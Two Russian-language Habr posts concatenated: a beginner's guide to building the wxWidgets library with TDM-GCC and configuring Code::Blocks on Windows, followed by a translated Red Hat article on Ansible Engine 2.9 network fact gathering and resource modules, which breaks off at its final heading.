> Выдержка из Wiki: [wxWidgets](http://ru.wikipedia.org/wiki/WxWidgets) — это [кросс-платформенная](http://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%BE%D1%81%D1%81-%D0%BF%D0%BB%D0%B0%D1%82%D1%84%D0%BE%D1%80%D0%BC%D0%B5%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%BD%D0%BE%D0%B5_%D0%BE%D0%B1%D0%B5%D1%81%D0%BF%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D0%B5) [библиотека инструментов](http://ru.wikipedia.org/wiki/%D0%91%D0%B8%D0%B1%D0%BB%D0%B8%D0%BE%D1%82%D0%B5%D0%BA%D0%B0_%28%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%29) с [открытым исходным кодом](http://ru.wikipedia.org/wiki/%D0%9E%D1%82%D0%BA%D1%80%D1%8B%D1%82%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%BD%D0%BE%D0%B5_%D0%BE%D0%B1%D0%B5%D1%81%D0%BF%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D0%B5) для разработки кроссплатформенных на уровне исходного кода приложений, в частности для построения [графического интерфейса пользователя](http://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B0%D1%84%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81_%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8F) (GUI).
>
>
>
> Библиотека имеет набор классов для работы с графическими изображениями, HTML, XML документами, архивами, файловыми системами, процессами, подсистемами печати, мультимедиа, сетями, классы для организации многопоточности, отладки, отправки дампов и множество других инструментов.
**Внимание! Под катом трафик!**
Тройку лет назад заинтересовался кросс-платформенным программированием с использованием выше озаглавленной библиотеки. Каждый раз при сборке этой библиотеки возникало куча проблем. Проблемы не были связанны с тем, что библиотека имела какие-то существенные баги, а были связаны с тем, что при использовании подобных инструментов требующих компиляции (сборки), необходимо внимательно относится к сопровождающей литературе.
Если говорить понятным языком, то необходимо внимательно читать мануалы, `readme-файлы`, `FAQ` и т.д…
Хотя статей по сборке и использованию `wxWidgets` достаточно в сети, все равно считаю нужным поделится своим опытом, постараюсь объяснить шаги, которые приводят к положительному результату, и описать что к чему, чтобы разработчики только начинающие использовать `wxWidgets` в своих проектах, меньше наступали на грабли, и сразу перешли к использованию всех функциональных возможностей этой библиотеки.
**И так, поехали.**
Сборку библиотеки будем производить в операционной системе `Windows 7 Professional x32 SP1`. Что касается других `OS`, то могу смело заявить, что сборка `wxWidgets` под `Ubuntu Desktop 12.04`, не вызывает особых сложностей, все прекрасно собирается. Для сборки под GNU/Linux, можно воспользоваться [этим](http://wiki.wxwidgets.org/Installing_and_configuring_under_Ubuntu) мануалом.
В качестве [IDE](http://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%82%D0%B5%D0%B3%D1%80%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D1%80%D0%B5%D0%B4%D0%B0_%D1%80%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B8) (редактора кода и автоматизации сборки), будем использовать [Code::Blocks](http://ru.wikipedia.org/wiki/Code::Blocks). Думаю многие уже о нем слышали, поэтому не будем вдаваться в подробности. Упомяну лишь, что `C::B` – достаточно мощный инструмент для написания больших приложений, и напрямую «заточен» под использование библиотеки инструментов `wxWidgets`, т.к. сам собран с использованием этой библиотеки.
***1) Установка компилятора, средств отладки и предварительная настройка:***
Средства отладки (`дебагер`), обычно устанавливаются по умолчанию вместе с компилятором, в случае компиляторов `GCC` и некоторых других, — это файл со скромным названием `GDB`.
> **FAQ:** Первые грабли с которыми сталкиваются начинающие разработчики, — это неверная установка используемого для сборки библиотеки компилятора. Большинство устанавливают `MinGW` вместо `TDM-GCC`, на котором собственно и ведется разработка `wxWidgets` под `Windows`.
> > **[Ссылка](http://www.sql.ru/forum/768259/chto-takoe-tdm-gcc):** `TDM-GCC` это альфа сборка новых релизов `gcc` собранных для `mingw`
> >
> > текущий официальный выпуск `mingw` включает в себя `gcc 3` и более новых версий `gcc` раньше разработчиками `mingw` не выкладывалось. Поэтому один из разработчиков стал собирать новые `gcc` и выкладывать пакеты предназначенные для замены `gcc` в установленном `mingw`. Сейчас `gcc 4.5` есть и у `mingw` <http://sourceforge.net/downloads/mingw/MinGW/BaseSystem/GCC/Version4/> хз чем они отличаются…
>
>
>
> Стоить отметить, что при установке `MinGW`, библиотека может собраться, но с очень малой вероятностью, скорее всего в конце сборки, после многоминутного ожидания, вы получите сообщение об ошибке вроде этой:
>
> `if not exist ..\..\lib\gcc_lib\mswud mkdir ..\..\lib\gcc_lib\mswud
>
> g++ -c -o gcc_mswud\monolib_treectrl.o -g -O0 -mthreads -DHAVE_W32API_H -D__WXMSW__ -D_UNICODE -I..\..\lib\gcc_lib\mswud -I..\..\include -W -Wall -DWXBUILDING -I..\..\src\tiff\libtiff -I..\..\src\jpeg -I..\..\src\png -I..\..\src\zlib -I..\..\src\regex -I..\..\src\expat\lib -I..\..\src\stc\scintilla\include -I..\..\src\stc\scintilla\lexlib -I..\..\src\stc\scintilla\src -D__WX__ -DSCI_LEXER -DLINK_LEXERS -DwxUSE_BASE=1 -Wno-ctor-dtor-privacy -MTgcc_mswud\monolib_treectrl.o -MFgcc_mswud\monolib_treectrl.o.d -MD -MP ../../src/msw/treectrl.cpp
>
> makefile.gcc:9395: recipe for target 'gcc_mswud\monolib_treectrl.o' failed`
>
>
Переходим на официальный сайт компилятора `TDM-GCC` в раздел [загрузки](http://tdm-gcc.tdragon.net/download), скачиваем и устанавливаем последнюю стабильною версию соответствующую разрядности нашей операционной системы (`x32` или `x64`). В нашем случае это: `tdm-gcc-4.8.1-3.exe`.
Далее стандартная процедура: запускаем мастер установки, и устанавливаем компилятор с опциями по умолчанию.
> **Совет:** При установке каких либо программ, библиотек, распаковки пакетов и т.д., лучше всего использовать, в мастере установки программ, настройки (опции) по умолчанию. Поверьте, это вызовет намного меньше забот, и меньше плясок с бубном вокруг библиотек и программ. Это касается, библиотек, программ, и всевозможных компиляторов.
Настройка компилятора заключается в том, что необходимо добавить в системную переменную окружения Path, путь к бинарным сборкам компилятора, если этого не сделал мастер установки по умолчанию. Обычно это: `C:\TDM-GCC-32\bin` (если директорией установки (распаковки) был выбран корневой каталог диска `C:\`);
> **Проверка:** Проверка работоспособности будет заключаться в следующих действиях: запускаем командную строку (`CMD`), и просто выполняем команду: `mingw32-make -v` соответственно видим версию сборки make — компоновщика. Должно появится чтото вроде этого:
>
> 
***2) Загрузка, распаковка и сборка библиотеки `wxWidgets`:***
Переходим на официальный сайт библиотеки `wxWidgets` в раздел [загрузки](http://www.wxwidgets.org/downloads/), скачиваем и распаковываем последнюю стабильною версию библиотеки для `OS Windows`. В нашем случае это: `wxMSW-Setup-3.0.0.exe` (`Windows Installer`).
Далее стандартная процедура: запускаем мастер распаковки, и распаковываем библиотеку с опциями по умолчанию.
Предварительная настройка компилятора заключается в том, что необходимо добавить системную переменную окружения `WXWIN`, которая будет содержать путь к корневому каталогу библиотеки. Обычно это: `C:\wxWidgets-3.0.0` (если директорией установки (распаковки) был выбран корневой каталог диска `C:\`);
Собственно приступаем к сборке. Запускаем командную строку (`CMD`), и выполняем по порядку следующие команды (дожидаясь завершение выполнения каждой):
> `cd %WXWIN%\build\msw`
>
> `mingw32-make -f makefile.gcc clean`
>
> `mingw32-make -f makefile.gcc BUILD=debug SHARED=0 MONOLITHIC=0 UNICODE=1 WXUNIV=0`
>
> `mingw32-make -f makefile.gcc BUILD=release SHARED=0 MONOLITHIC=0 UNICODE=1 WXUNIV=0`
Обычно количество опций сборки не превышает указанных.
Разберем назначение указанных опций:
> `BUILD` — сборка библиотеки в режиме: `debug` (отладки) или `release` (релизной версии приложения);
>
> `SHARED` — тип сборки библиотеки: 0 — `static` статическая сборка, 1 — `dynamic` динамическая сборка соответственно;
>
> `MONOLITHIC` — собрать все библиотеки в «одну»: 1 — да, 0 — нет, удобно на первых этапах знакомства с библиотекой;
>
> `UNICODE` — Поддержка unicode: 1 — да, 0 -нет;
>
> `WXUNIV` — собрать элементы интерфейса общими для любой `OS`: 1 — да, 0 — нет. (или сборка собственных элементов управления для операционных систем где эти элементы отсутствуют).
Процесс сборки будет похож на этот скриншот:
***3) Загрузка, установка и настройка `IDE Code::Blocks`:***
Переходим на официальный сайт программы `Code::Blocks` в раздел [загрузки](http://www.codeblocks.org/downloads), скачиваем и устанавливаем последний стабильный бинарный релиз программы для `OS Windows`. В нашем случае это: `codeblocks-13.12-setup.exe`. Необходимо загружать версию без компилятора, т.к. компилятор мы установили ранее, и скорее всего он «свежее» компилятора который идет в поставке с `C::B`.
> **FAQ, Note:** The codeblocks-13.12mingw-setup.exe file includes the GCC compiler and GDB debugger from TDM-GCC (version 4.7.1, 32 bit). The codeblocks-13.12mingw-setup-TDM-GCC-481.exe file includes the TDM-GCC compiler, version 4.8.1, 32 bit. While v4.7.1 is rock-solid (we use it to compile C::B), v4.8.1 is provided for convenience, there are some known bugs with this version related to the compilation of Code::Blocks itself.
>
>
>
> IF UNSURE, USE «codeblocks-13.12mingw-setup.exe»!
> **Примечание:** Общее время компиляции занимает в среднем порядка 30-40 минут. Да-да, библиотека не такая уж и маленькая, имеет кучу классов.
Далее стандартная процедура, запускаем мастер установки, и устанавливаем программу с опциями по умолчанию.
Настройки среды разработки сводятся к настройке компилятора по умолчанию. Обычно при первом запуске `C::B` сам выдаст диалог для выбора основного компилятора из всех найденных (выбираем `TDM-GCC`), но иногда этот диалог может не появлятся. Тогда запускаем `C::B` и переходим по пунктам главного меню к настройкам компилятора: `Settings-->Compiler Вкладка: Toolchain executables` и по анологии со скриншотом настраиваем `C::B`.
> **Проверка:** Для проверки работоспособности среды разработки и проверки правильной настройки компиляторов, необходимо в `C::B` создать тестовый консольный проект, следующим образом:
>
> 1) Запускаем `C::B` (если он не запушен ранее);
>
> 2) Переходим по пунктам меню: `File-->New-->Project` в открывшимся диалоге (`Project`) выбираем `Console application` и нажимаем кнопку [`Go`];
>
> 3) Следуем подсказкам диалога предварительной настройки проекта, задаем параметры проекта (имя, расположение и т.д), нажимаем кнопку [`Next`] затем [`Finish`];
>
> Открылся редактор кода проекта. Если нет то Выбираем пункты главного меню: `View-->Manager`, `View-->Toolbars-->Compiler`. Открываем исходный код в дереве менеджера `main.cpp`,
>
>
> > должен быть такой код:
> >
> > 
> >
> > если необходимо редактируем.
>
>
>
> 4) Выбираем пункт главного меню: `Build-->Build and Run`, и наблюдаем наше скомпилированное приложение:
>
> 
>
>
***4) Создание тестового проекта с использованием `wxWidgets`:***
Запускаем `C::B` если он не был запущен, и переходим по пунктам главного меню: `File-->New-->Projects` из всех типов создаваемого проекта, выбираем `wxWidgets project`, нажимаем кнопку [`Go`].
> В появившимся окне предварительной настройки проекта, следуем подсказкам, а именно:
>
> 1) Нажимаем кнопку [`Next`];
>
> 
>
> 2) Выбираем тип используемой библиотеки `wxWidgets 3.0.x`, нажимаем кнопку [`Next`];
>
> 
>
> 3) Задаем параметры проекта имя, путь к исходникам и т.д., нажимаем кнопку [`Next`];
>
> 
>
> 4) Задаем авторов проекта (это можно пропустить), нажимаем кнопку [`Next`];
>
> 5) Выбираем дизайнер форм `wxSmith` (т.к. `wxFormBuilder` — у нас предварительно не установлен), также выбираем тип создаваемого приложения `Frame Based`, нажимаем кнопку [`Next`];
>
> 
>
> 6) Очень внимательно отнесемся к локальной переменной, и вместо `$(wx)` зададим `$(WXWIN)`, нажимаем кнопку [`Next`];
>
> 
>
> 7) выбираем компилятор (обычно по умолчанию) нажимаем кнопку [`Next`];
>
> 
>
> 8) в случае нашей сборки (статической-не монолитной), параметры следующего окна должны быть такими:
>
> 
>
> нажимаем кнопку [`Next`] и соглашаемся с диалогами.
>
> 9) Выбираем необходимые нам классы с которыми мы хотим работать.
>
> *В зависимости от способа сборки, статическая-динамическая, монолитная и ли нет следующего окна может не быть.*
>
> 
>
> нажимаем кнопку [`Finish`];
Глобальные переменные проекта должны быть настроены следующим образом (`Settings-->Global variables`):
Настройки проекта должны выглядеть примерно так (`Project-->Build options`):
Окно `Project build options` (`wx_test`) [Вкладка `Compiler settings - Other options`]:
> `-pipe
>
> -mthreads
>
> -Winvalid-pch
>
> -include wx_pch.h`
Окно `Project build options` (`wx_test`) [Вкладка `Compiler settings - Other options`]:
> `__GNUWIN32__
>
> __WXMSW__
>
> wxUSE_UNICODE
>
> WX_PRECOMP`
Окно `Project build options` (`wx_test`) [Вкладка `Linker settings`]:
Окно `Project build options` (`wx_test`) [Вкладки `Search directories - Compiler и Resource compiler`]:
> `$(WXWIN)\include`
Окно `Project build options` (`Debug`) [Вкладка `Linker settings`]:
Окно `Project build options` (`Debug`) [Вкладки `Search directories - Compiler и Resource compiler`]:
> `$(WXWIN)\lib\gcc_lib\mswud`
Окно `Project build options` (`Debug`) [Вкладки `Search directories - Linker`]:
> `$(WXWIN)\lib\gcc_lib`
Окно `Project build options` (`Release`) [Вкладка `Linker settings`]:
Окно `Project build options` (`Release`) [Вкладки `Search directories - Compiler и Resource compiler`]:
> `$(WXWIN)\lib\gcc_lib\mswu`
Окно `Project build options` (`Release`) [Вкладки `Search directories - Linker`]:
> `$(WXWIN)\lib\gcc_lib`
Далее сохраняем настройки путем нажатия кнопки [`Ок`] в форме настройки сборки проекта `Project build options`.
Скомпилируем (собирем) наше приложение (`Build --> Build and run`):
**FAQ**
> **FAQ:**
>
>
> > ***Вопрос/Проблема:***
> >
> > Set system path!
> >
> > ***Ответ/Решение:***
> >
> > set PATH (WXWIN):
> >
> > C:\wxWidgets-2.9.4
>
>
>
>
>
>
> > ***Вопрос/Проблема:***
> >
> > if not exist gcc\_mswud mkdir gcc\_mswud
> >
> > process\_begin: CreateProcess(NULL, -c «if not exist gcc\_mswud mkdir gcc\_mswud», ...) failed.
> >
> > make (e=2): =х єфрхЄё эрщЄш єърчрээvщ Їрщы.
> >
> > mingw32-make: [gcc\_mswud] Error 2 (ignored)
> >
> > if not exist ..\..\lib\gcc\_lib mkdir ..\..\lib\gcc\_lib
> >
> > process\_begin: CreateProcess(NULL, -c «if not exist ..\..\lib\gcc\_lib mkdir ..\..\lib\gcc\_
> >
> > lib», ...) failed.
> >
> > make (e=2): =х єфрхЄё эрщЄш єърчрээvщ Їрщы.
> >
> > mingw32-make: \*\*\* [..\..\lib\gcc\_lib] Error 2
> >
> > ***Ответ/Решение:***
> >
> > Run to cmd: set PATH=c:\mingw\bin
>
>
>
>
>
>
> > ***Вопрос/Проблема:***
> >
> > CodeBlocks wxWidgets' location:
> >
> > ***Ответ/Решение:***
> >
> > $(#wx) to $(WXWIN)
>
>
>
>
>
>
> > ***Вопрос/Проблема:***
> >
> > Global Variable Edition
> >
> > Settings -> Compiler and Debugger -> Compiler Settings tab -> Compiler Options
> >
> > ***Ответ/Решение:***
> >
> > base: C:\wxWidgets-2.9.4
> >
> > include: C:\wxWidgets-2.9.4\include
> >
> > lib: C:\wxWidgets-2.9.4\lib
> >
> > cflags: `wx-config --cflags`
> >
> > lflags: `wx-config --libs`
> >
> > Other options:
> >
> > `wx-config --cxxflags`
> >
> > `wx-config --cflags`
> >
> > `wx-config --libs`
> >
> >
> >
> > что касается путей. вообще, если ты создашь wxWidgets проект в Code::Blocks, ты увидишь, что в настройках он вместо перечисления хедеров и библиотек указывает команды:
> >
> > `wx-config --cflags` — в настройках компилятора
> >
> > `wx-config --libs` — в настройках линкера
> >
> > так вот: wx-config — это скрипт. если ты наберёшь эти команды в обычной консоли, то увидишь, что они генерируют целую последовательность флагов и файлов. у wx-config есть хэлп: wx-config --help. там описаны все вариации вызова этого скрипта. обрати внимание на опцию static.
>
>
>
>
>
>
> > На ошибки рода C:\wxWidgets-3.0.0\include\wx\platform.h|189|fatal error: wx/setup.h: No such file or directory|
> >
> > ***Решение такое:***
> >
> > Projects --> Build options…
> >
> > Debug (Search directories)
> >
> > $(WXWIN)\lib\gcc\_lib\mswud <--> $(WXWIN)\lib\gcc\_dll\mswud
>
>
>
>
>
>
> > Бывают и неприятности. Например линовка может выдавать следующую ошибку:
> >
> >
> >
> > rem gcc\_mswudll\monodll\_xh\_combo.o: file not recognized: Memory exhausted
> >
> > rem collect2.exe: error: ld returned 1 exit status
> >
> > rem mingw32-make.exe: \*\*\* [..\..\lib\gcc\_dll\wxmsw28u\_gcc.dll] Error 1
> >
> >
> >
> > Проявляется на некоторых 32 битных платформах при компоновке монолитной динамической библиотеки из-за нехватки памяти. Из-за того, что линковщик собранный для x86 архитектуры, не может использовать адреса выше 2Гб, даже на x86\_64 архитектуре. Поэтому смена компилятора обычно не помогает, перепробованы MinGW4.4.1TDM, всё семейство MinGW4.6.x, а также MinGW4.7.0, хотя в сети есть информация, что собирается под TDM-GCC 4.5.2 sjlj.
> >
> >
> >
> > Для компиляции в этом случае необходимо указать опцию компилятора -fno-keep-inline-dllexport:
> >
> >
> >
> > mingw32-make -f makefile.gcc CXXFLAGS="-fno-keep-inline-dllexport" BUILD=release SHARED=1 MONOLITHIC=1 UNICODE=1
> >
> >
> >
> > Ещё можно использовать опцию --large-address-aware для линковщика(можно и для компилятора), но при этом надо настраивать ОС.
> >
> >
> >
> > Также обойти проблему можно не используя монолитную сборку, или отказавшись от создания динамических библиотек для монолитной сборки, статические собираются без этой ошибки.
>
>
>
>
> **Upd:**
>
> Ошибки рода: This file requires compiler and library support for the ISO C++
>
> 2011 standart. This support is currently experimental, and the --std=c++11 or -std=gnu++11 compiler options.
>
> This file requires compiler and library support for the…
>
>
>
> Решаются явным указанием стандарта при сборке библиотеки (добавление опции):
>
> CXXFLAGS="-std=gnu++11"
>
>
**Upd1:** вероятно в последних релизах MinGW баги пофиксили, теперь можно смело собирать при помощи указанного компилятора, соблюдая те же (описанные) правила.
*p/s.
Пост ориентирован прежде всего на начинающую аудиторию программистов, и не в коем случае не претендует на истину в последней инстанции.
В следующих постах опишу как «правильно» собрать библиотеку компьютерного зрения [OpenCV](https://ru.wikipedia.org/wiki/OpenCV).*
Спасибо за внимание. | https://habr.com/ru/post/212027/ | null | ru | null |
# The Inside Playbook. Сетевые функции в новом Ansible Engine 2.9
В предстоящем выпуске Red Hat Ansible Engine 2.9 вас ждут впечатляющие улучшения, и некоторые из них описаны в этой статье. Как обычно, мы разрабатывали улучшения Ansible Network в открытую, при поддержке сообщества. Присоединяйтесь — загляните на [доску задач на GitHub](https://github.com/ansible/ansible/projects/10) и изучите план развития для [выпуска Red Hat Ansible Engine 2.9](https://github.com/ansible/community/wiki/Network:-2.9-Roadmap) на странице wiki для [Ansible Network](https://github.com/ansible/community/wiki/Network:-2.9-Roadmap).
Как мы недавно объявили, [Red Hat Ansible Automation Platform](https://www.redhat.com/en/about/press-releases/red-hat-elevates-enterprise-automation-new-red-hat-ansible-automation-platform?sc_cid=701f2000000u72fAAA) теперь включает Ansible Tower, Ansible Engine и весь контент Ansible Network. Сейчас большинство популярных сетевых платформ реализуется через модули Ansible. Например:
* Arista EOS
* Cisco IOS
* Cisco IOS XR
* Cisco NX-OS
* Juniper Junos
* VyOS
Полный список платформ, которые полностью поддерживаются Red Hat через подписку Ansible Automation, [опубликован здесь](https://docs.ansible.com/ansible/2.9/modules/network_maintained.html#network-supported).
Чему мы научились
-----------------
В последние четыре года мы много узнали о разработке платформы для автоматизации сети. Еще мы узнали о том, *как* применяются артефакты платформы в плейбуках и ролях Ansible со стороны конечных пользователей. И вот что мы выяснили:
* Организации автоматизируют устройства не одного, а многих вендоров.
* Автоматизация — явление не только техническое, но еще и культурное.
* Масштабная автоматизация сетей сложнее, чем кажется, из-за фундаментальных архитектурных принципов проектирования автоматизации.
Когда мы обсуждали наши долгосрочные планы развития больше года назад, наши корпоративные клиенты просили о следующем:
* Сбор фактов нужно лучше стандартизировать и согласовать с рабочим процессом автоматизации для любых устройств.
* Обновление конфигураций на устройстве тоже нужно стандартизировать и согласовать, чтобы модули Ansible обрабатывали вторую половину цикла после сбора фактов.
* Нужны строгие и поддерживаемые методы преобразования конфигурации устройства в структурированные данные. На этой основе источник истины можно будет переместить с сетевого устройства.
Улучшения фактов
----------------
Сбор фактов с сетевых устройств с помощью Ansible нередко происходит наугад. Сетевые платформы в разной степени оснащены возможностями сбора фактов, но у них почти нет — или даже совсем нет — функций для парсинга и стандартизации представления данных в парах ключ-значение. Читайте [пост](https://www.networktocode.com/blog/post/Updating_Structured_Data_in_Ansible_Jinja/) Кена Селенцы (Ken Celenza) о том, как сложно и мучительно бывает анализировать и стандартизировать данные фактов.
Возможно, вы заметили, как мы работали над ролью Ansible Network Engine. Естественно, 24 тысячи загрузок спустя роль Network Engine быстро стала одной из самых популярных ролей Ansible в Ansible Galaxy для сценариев автоматизации сети. Прежде чем мы перенесли многое из этого в Ansible 2.8, чтобы подготовиться к тому, что понадобится в Ansible 2.9, эта роль Ansible предоставила первый набор инструментов для помощи в парсинге команд, управлении командами и сборе данных для сетевых устройств.
Если вы разбираетесь в использовании Network Engine, это очень эффективный способ сбора, парсинга и стандартизации данных фактов для использования в Ansible. Минус этой роли в том, что нужно создавать целую кучу парсеров для каждой платформы и для всей сетевой активности. Чтобы понять, как сложно создавать, поставлять и обслуживать парсеры, посмотрите на [1200 с лишним парсеров](https://developer.cisco.com/docs/genie-docs/) от ребят из Cisco.
В двух словах, для масштабной автоматизации очень важно получать факты от устройств и нормализовать их в пары ключ-значение, но добиться этого сложно, когда у вас много вендоров и сетевых платформ.
Каждый модуль фактов сети в Ansible 2.9 теперь может анализировать конфигурацию сетевого устройства и возвращать структурированные данные — без дополнительных библиотек, ролей Ansible или кастомных парсеров.
Начиная с Ansible 2.9 при каждом выпуске обновленного сетевого модуля модуль фактов улучшается, чтобы предоставлять данные об этом разделе конфигурации. То есть развитие фактов и модулей теперь происходит в одном темпе, и у них всегда будет общая структура данных.
Конфигурацию ресурсов на сетевом устройстве можно извлечь и преобразовать в структурированные данные двумя способами. Обоими способами можно собрать и преобразовать определенный список ресурсов с помощью нового ключевого слова `gather_network_resources`. Имена ресурсов соответствуют именам модулей, и это очень удобно.
### Во время сбора фактов:
С помощью ключевого слова `gather_facts` можно извлечь текущую конфигурацию устройства в начале плейбука, а потом использовать ее на протяжении всего плейбука. Укажите отдельные ресурсы, которые нужно извлечь с устройства.
```
- hosts: arista
module_defaults:
eos_facts:
gather_subset: min
gather_network_resources:
- interfaces
gather_facts: True
```
Вы могли заметить что-то новое в этих примерах, а именно — `gather_facts: true` теперь доступно для нативного сбора фактов для сетевых устройств.
### Использование модуля сетевых фактов напрямую:
```
- name: collect interface configuration facts
eos_facts:
gather_subset: min
gather_network_resources:
- interfaces
```
### Плейбук возвращает следующие факты об интерфейсе:
```
ansible_facts:
ansible_network_resources:
interfaces:
- enabled: true
name: Ethernet1
mtu: '1476'
- enabled: true
name: Loopback0
- enabled: true
name: Loopback1
- enabled: true
mtu: '1476'
name: Tunnel0
- enabled: true
name: Ethernet1
- enabled: true
name: Tunnel1
- enabled: true
name: Ethernet1
```
Обратите внимание, как Ansible извлекает нативную конфигурацию с устройства Arista и преобразует ее в структурированные данные, чтобы использовать в виде стандартных пар ключ-значение для последующих задач и операций.
Факты интерфейса можно добавить в хранимые переменные Ansible и использовать сразу или потом как входные данные для модуля ресурса `eos_interfaces` без дополнительной обработки или преобразования.
### Модули ресурсов
Итак, мы извлекли факты, нормализовали данные, вписали их в стандартизированную внутреннюю схему структуры данных и получили готовый источник истины. Ура! Это, конечно, здорово, но нам по-прежнему нужно как-то преобразовать пары ключ-значение обратно в конкретную конфигурацию, которую ожидает конкретная платформа устройства. Теперь нам нужны модули для определенных платформ, чтобы удовлетворить эти новые требования сбора фактов и нормализации.
Что такое модуль ресурса? Разделы конфигурации устройства можно представить себе как ресурсы, предоставляемые этим устройством. Модули сетевых ресурсов намеренно ограничены одним ресурсом, и их можно складывать, как кирпичики, для настройки сложных сетевых сервисов. В результате требования и спецификация для модуля ресурса естественным образом упрощаются, ведь модуль ресурса может считывать *и* настраивать определенный сетевой сервис на сетевом устройстве.
Чтобы объяснить, что делает модуль ресурса, давайте посмотрим на пример плейбука, который показывает идемподентную операцию с использованием новых фактов сетевого ресурса и модуля `eos_l3_interface`.
```
- name: example of facts being pushed right back to device.
hosts: arista
gather_facts: false
tasks:
- name: grab arista eos facts
eos_facts:
gather_subset: min
gather_network_resources: l3_interfaces
- name: ensure that the IP address information is accurate
eos_l3_interfaces:
config: "{{ ansible_network_resources['l3_interfaces'] }}"
register: result
- name: ensure config did not change
assert:
that: not result.changed
```
Как видите, собранные с устройства данные переданы напрямую в соответствующий модуль ресурсов без преобразования. При запуске плейбук извлекает значения с устройства и сравнивает их с ожидаемыми. В этом примере полученные значения соответствуют ожидаемым (то есть выполняется проверка отклонений конфигурации) и выдается сообщение, изменилась ли конфигурация.
Идеальный способ обнаружить отклонение конфигурации — сохранять факты в хранимые переменные Ansible и периодически использовать их вместе с модулем ресурса в режиме проверки. Это простой метод увидеть, не изменил ли кто-нибудь значения вручную. В большинстве случаев организации разрешают изменения и конфигурацию вручную, хотя многие операции выполняются через Ansible Automation.
Чем новые модули ресурса отличаются от предыдущих?
--------------------------------------------------
Для инженера по автоматизации сетей существуют 3 главных отличия модулей ресурса в Ansible 2.9 от предыдущих версий.
1) Для определенного сетевого ресурса (который также можно представить себе как раздел конфигурации) модули и факты будут развиваться во всех поддерживаемых сетевых операционных системах одновременно. Мы думаем, что, если Ansible поддерживает конфигурацию ресурса на одной сетевой платформе, мы должны поддерживать ее везде. Это упрощает использование модулей ресурсов, потому что инженер по автоматизации сетей теперь может настроить ресурс (например, LLDP) во всех сетевых операционных системах с нативными и поддерживаемыми модулями.
2) Модули ресурсов теперь включают значение состояния.
* `merged`: конфигурация объединена с предоставленной конфигурацией (по умолчанию);
* `replaced`: конфигурация ресурса будет заменена на предоставленную конфигурацию;
* `overridden`: конфигурация ресурса будет заменена на предоставленную конфигурацию; лишние экземпляры ресурсов будут удалены;
* `deleted`: конфигурация ресурса будет удалена/восстановлена по умолчанию.
3) Модули ресурса теперь включают стабильные возвращаемые значения. Когда модуль сетевого ресурса внес (или предложил) необходимые изменения в сетевом устройстве, он возвращает те же пары ключ-значение в плейбук.
* `before`: конфигурация на устройстве в виде структурированных данных до задачи;
* `after`: если устройство изменилось (или может измениться, если используется режим проверки), получившаяся конфигурация будет возвращена в виде структурированных данных;
* `commands`: любые команды конфигурации, запущенные на устройстве, чтобы привести его в желаемое состояние.
Что все это значит? Почему это важно?
-------------------------------------
В этом посте описывается много сложных концепций, но мы надеемся, что в конце концов вы лучше поймете, что корпоративные клиенты просят о сборе фактов, нормализации данных и конфигурации цикла для платформы автоматизации. Но почему им нужны эти улучшения? Сейчас многие организации занимаются цифровой трансформацией, чтобы сделать свои ИТ-среды более гибкими и конкурентоспособными. Хорошо это или плохо, но многие сетевые инженеры становятся сетевыми разработчиками — из собственного интереса или по велению руководителей.
Организации понимают, что автоматизация отдельных сетевых шаблонов не решает проблему разрозненности и повышает эффективность только до определенного предела. Платформа Red Hat Ansible Automation Platform предоставляет строгие и нормирующие модели данных ресурсов, чтобы программно управлять базовыми данными на сетевом устройстве. То есть пользователи постепенно отказываются от индивидуальных способов конфигурации в пользу более современных методов с акцентом на технологиях (например, IP-адреса, VLAN, LLDP и т д.), а не на конкретной реализации вендора.
Значит ли это, что дни надежных и проверенных модулей команд и конфигурации сочтены? Ни в коем случае. Ожидаемые модули сетевых ресурсов будут применимы не во всех случаях и не для каждого вендора, так что модули команд и конфигурации еще понадобятся сетевым инженерам для определенных реализаций. Цель модулей ресурсов — упростить большие шаблоны Jinja и нормализовать неструктурированные конфигурации устройства в структурированный формат JSON. С модулями ресурсов существующим сетям будет проще преобразовывать свою конфигурацию в структурированные пары ключ-значение, которые будут представлять собой удобный для чтения источник истины. Если использовать структурированные пары ключ-значение, можно перейти от запуска конфигураций на каждом устройстве к работе с независимыми структурированными данными и вывести сети на первый план при подходе «инфраструктура как код».
Какие модули ресурсов появятся в Ansible Engine 2.9?
----------------------------------------------------
Прежде чем подробно рассказать, что будет в Ansible 2.9, давайте вспомним, как мы разделили весь объем работ.
Мы выделили 7 категорий и каждой назначили определенные сетевые ресурсы:
Примечание: ресурсы, выделенные жирным, были запланированы и реализованы в Ansible 2.9.
На основе отзывов от корпоративных клиентов и сообщества логично было сначала заняться теми модулями, которые связаны с протоколами топологии сети, виртуализацией и интерфейсами.
Следующие модули ресурсов разработаны командой Ansible Network и соответствуют платформам, которые поддерживает Red Hat:
Следующие модули разработаны сообществом Ansible:
* `exos_lldp_global` — от Extreme Networks.
* `nxos_bfd_interfaces` — от Cisco
* `nxos_telemetry` — от Cisco
Как видите, концепция модулей ресурсов вписывается в нашу стратегию ориентации на платформы. То есть мы включаем необходимые возможности и функции в сам Ansible, чтобы поддержать стандартизацию при разработке сетевых модулей, а еще упростить работу пользователей на уровне ролей и плейбуков Ansible. Чтобы расширить разработку модулей ресурсов, команда Ansible выпустила инструмент Module Builder.
Планы на Ansible 2.10 и дальше
------------------------------
